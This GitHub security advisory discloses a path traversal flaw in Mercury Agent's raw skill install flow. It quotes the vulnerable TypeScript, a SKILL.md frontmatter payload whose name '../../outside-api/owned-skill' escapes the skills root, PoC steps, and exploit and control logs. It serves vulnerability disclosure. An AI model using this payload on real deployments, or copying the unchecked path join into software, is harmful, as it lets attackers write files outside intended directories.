Skip to content

[Security] Mercury Agent raw skill install trusts attacker-controlled skill names and writes SKILL.md outside the intended skills root #106

Description

@YLChen-007

Advisory Details

Title: Mercury Agent raw skill install trusts attacker-controlled skill names and writes SKILL.md outside the intended skills root

Description:

Summary

Mercury Agent's authenticated raw skill install flow accepts an attacker-controlled remote SKILL.md, reads the frontmatter name, and uses that value directly as a filesystem path segment under MERCURY_HOME/skills. Because the raw installer does not reject .. or enforce post-join containment, a logged-in web user can install a remote skill whose declared name escapes the skills root and causes Mercury to create attacker-controlled SKILL.md files elsewhere on disk. I verified this through both POST /api/skills/install and the slash-command path reachable through POST /api/chat/send.

Details

The direct web API path validates only that the submitted string is an http(s) URL and then hands it to SkillLoader.installFromUrl():

system.post('/api/skills/install', async (c) => {
  const body = await c.req.json();
  const url = String(body?.url || '').trim();
  // ...
  const loader = new SkillLoader();
  const installed = await loader.installFromUrl(url);
  return c.json({ success: true, name: installed.name, path: installed.skillDir });
});

The chat entrypoint also accepts attacker-controlled content and forwards it into the normal web agent loop:

chat.post('/api/chat/send', async (c) => {
  const body = await c.req.json<{ content: string; threadId?: string }>();
  const threadId = (body.threadId && body.threadId.trim()) ? body.threadId.trim() : 'web:default';
  webChannel.emitMessageInThread(body.content.trim(), threadId);
  return c.json({ sent: true });
});

Once the user sends /skills install <url>, the slash-command handler treats the argument as a raw URL and reuses the same loader path:

if (/^https?:\/\//i.test(arg)) {
  const { SkillLoader } = await import('../skills/loader.js');
  const loader = new SkillLoader();
  const installed = await loader.installFromUrl(arg);
  await channel.send(`✅ Installed \`${installed.name}\` from URL.\n${installed.skillDir}`, channelId);
}

The root cause is in src/skills/loader.ts. installFromContent() parses the remote file and passes the untrusted frontmatter name directly to saveSkill():

installFromContent(content: string): { name: string; skillDir: string } {
  const parsed = parseSkillMd(content);
  const skillDir = this.saveSkill(parsed.meta.name, content);
  return { name: parsed.meta.name, skillDir };
}

saveSkill() then joins that string with the local skills directory and writes SKILL.md with no rejection of traversal tokens or post-resolution containment check:

saveSkill(name: string, content: string): string {
  const skillDir = join(this.skillsDir, name);
  if (!existsSync(skillDir)) {
    mkdirSync(skillDir, { recursive: true });
  }
  writeFileSync(join(skillDir, SKILL_FILE), content, 'utf-8');
  return skillDir;
}

As a result, a remote payload like:

---
name: ../../outside-api/owned-skill
description: path traversal payload
---

causes Mercury to create:

<run-root>/outside-api/owned-skill/SKILL.md

instead of staying under:

<mercury-home>/skills/

I re-ran the exploit end-to-end against the real local Mercury daemon built from this repository. The exploit path wrote attacker-controlled files outside the intended skills root through both public authenticated interfaces, while a same-interface control case using name: safe-skill stayed inside .../skills/safe-skill/SKILL.md and did not create any outside file.

For released versions, the direct raw-install API is present by GitHub release tag v1.1.9, the chat slash-command URL install path is present by v1.1.11, and the latest published npm package and GitHub release I could verify are both 1.1.13 / v1.1.13, which still contain the bug. I also checked the separate upstream tag v1.2.0; it still appears vulnerable on the raw web install path, so I could not identify a patch.

PoC

Prerequisites

  • A local checkout of cosmicstack-labs/mercury-agent
  • Node.js and Python 3 installed
  • The Mercury build artifacts present at dist/index.js
  • curl and nc available for the harness liveness checks
  • The three downloaded PoC files kept in the same directory
  • Run from the Mercury repository root, or set MERCURY_REPO_ROOT=/path/to/mercury-agent

Reproduction Steps

  1. Download the PoC harness from: harness.py
  2. Download the exploit driver from: verification_test.py
  3. Download the same-interface control from: control-safe-install.py
  4. In the Mercury repository root, ensure the project is built:
    npm install && npm run build
  5. Run the exploit case:
    python3 verification_test.py
  6. The script starts real Mercury web daemons, serves attacker-controlled SKILL.md payloads locally, logs in through Mercury's default web authentication, and exercises both:
    POST /api/skills/install
    and
    POST /api/chat/send with /skills install <url>
  7. Confirm the exploit output shows:
    Direct API traversal escaped skills root: True
    and
    Slash-command traversal escaped skills root: True
  8. Confirm the created outside files exist:
    runs/verification-run/outside-api/owned-skill/SKILL.md
    and
    runs/verification-run/outside-chat/owned-skill/SKILL.md
  9. Run the control case:
    python3 control-safe-install.py
  10. Confirm the control output shows:
    Control install remained in skills root: True
  11. Confirm the control case creates only:
    runs/control-run/control-api-home/skills/safe-skill/SKILL.md
    and does not create:
    runs/control-run/outside-api/owned-skill/SKILL.md

Log of Evidence

Exploit rerun:

Verification mode: End-to-End
[DEFECT-CONFIRMED]
Direct API traversal escaped skills root: True
Slash-command traversal escaped skills root: True
response={"name": "../../outside-api/owned-skill", "path": ".../runs/verification-run/outside-api/owned-skill", "success": true}
outside_target=.../runs/verification-run/outside-api/owned-skill/SKILL.md exists=True
send_response={"sent": true}
outside_target=.../runs/verification-run/outside-chat/owned-skill/SKILL.md exists=True

Key exploit evidence from verification_result.json:

{
  "classification": "DEFECT-CONFIRMED",
  "api": {
    "response": {
      "name": "../../outside-api/owned-skill",
      "success": true
    },
    "outside_exists": true
  },
  "chat": {
    "response": {
      "sent": true
    },
    "outside_exists": true
  }
}

Control rerun:

Verification mode: End-to-End
[CONTROL-PASS]
Control install remained in skills root: True
response={"name": "safe-skill", "path": ".../runs/control-run/control-api-home/skills/safe-skill", "success": true}
outside_target=.../runs/control-run/outside-api/owned-skill/SKILL.md exists=False

Key control evidence from control_result.json:

{
  "classification": "CONTROL-PASS",
  "control": {
    "response": {
      "name": "safe-skill",
      "success": true
    },
    "safe_exists": true,
    "outside_exists": false
  }
}

Impact

This is an authenticated path traversal / arbitrary relative write vulnerability on Mercury's raw skill install surface. A logged-in Mercury web user can cause the Mercury process to create attacker-controlled SKILL.md files outside the intended install root, subject only to the process user's underlying OS write permissions. The filename is constrained to SKILL.md, but that is still enough to poison other writable Mercury-related directories, plant persistent skill content in sibling locations, or disrupt filesystem layout assumptions relied on by the host. In practice this crosses the trust boundary from authenticated web input and remote skill metadata into unrestricted filesystem writes outside MERCURY_HOME/skills.

Affected products

  • Ecosystem: npm
  • Package name: @cosmicstack/mercury-agent
  • Affected versions: >= 1.1.9, <= 1.1.13
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Weaknesses

  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink Description
system.post('/api/skills/install', async (c) => {
const body = await c.req.json();
const url = String(body?.url || '').trim();
if (!url) return c.json({ success: false, error: 'url is required' }, 400);
try {
const parsed = new URL(url);
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return c.json({ success: false, error: 'url must start with http:// or https://' }, 400);
}
} catch {
return c.json({ success: false, error: 'invalid url' }, 400);
}
try {
const loader = new SkillLoader();
const installed = await loader.installFromUrl(url);
return c.json({ success: true, name: installed.name, path: installed.skillDir });
The authenticated raw install endpoint validates only URL syntax/protocol and then passes the attacker-controlled URL into SkillLoader.installFromUrl().
chat.post('/api/chat/send', async (c) => {
if (!webChannel) {
return c.json({ error: 'Web channel not initialized' }, 503);
}
const body = await c.req.json<{ content: string; threadId?: string }>();
if (!body.content?.trim()) {
return c.json({ error: 'Message content required' }, 400);
}
try {
const threadId = (body.threadId && body.threadId.trim()) ? body.threadId.trim() : 'web:default';
webChannel.emitMessageInThread(body.content.trim(), threadId);
return c.json({ sent: true });
The authenticated web chat endpoint forwards attacker-controlled slash-command content into the normal agent execution path.
if (/^https?:\/\//i.test(arg)) {
const { SkillLoader } = await import('../skills/loader.js');
const loader = new SkillLoader();
await channel.send(`📦 Installing from \`${arg}\`…`, channelId);
const installed = await loader.installFromUrl(arg);
await channel.send(
`✅ Installed \`${installed.name}\` from URL.\n${installed.skillDir}`,
channelId,
The /skills install <url> handler treats URL arguments as raw skill installs and reuses loader.installFromUrl(arg) with no name/path validation.
installFromContent(content: string): { name: string; skillDir: string } {
const parsed = parseSkillMd(content);
if (!parsed) {
throw new Error('Invalid SKILL.md: missing or malformed YAML frontmatter with name and description');
}
const skillDir = this.saveSkill(parsed.meta.name, content);
return { name: parsed.meta.name, skillDir };
installFromContent() parses the remote SKILL.md and passes the untrusted frontmatter parsed.meta.name directly to saveSkill().
saveSkill(name: string, content: string): string {
const skillDir = join(this.skillsDir, name);
if (!existsSync(skillDir)) {
mkdirSync(skillDir, { recursive: true });
}
writeFileSync(join(skillDir, SKILL_FILE), content, 'utf-8');
saveSkill() builds join(this.skillsDir, name) and writes SKILL.md there without rejecting traversal segments or enforcing install-root containment.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions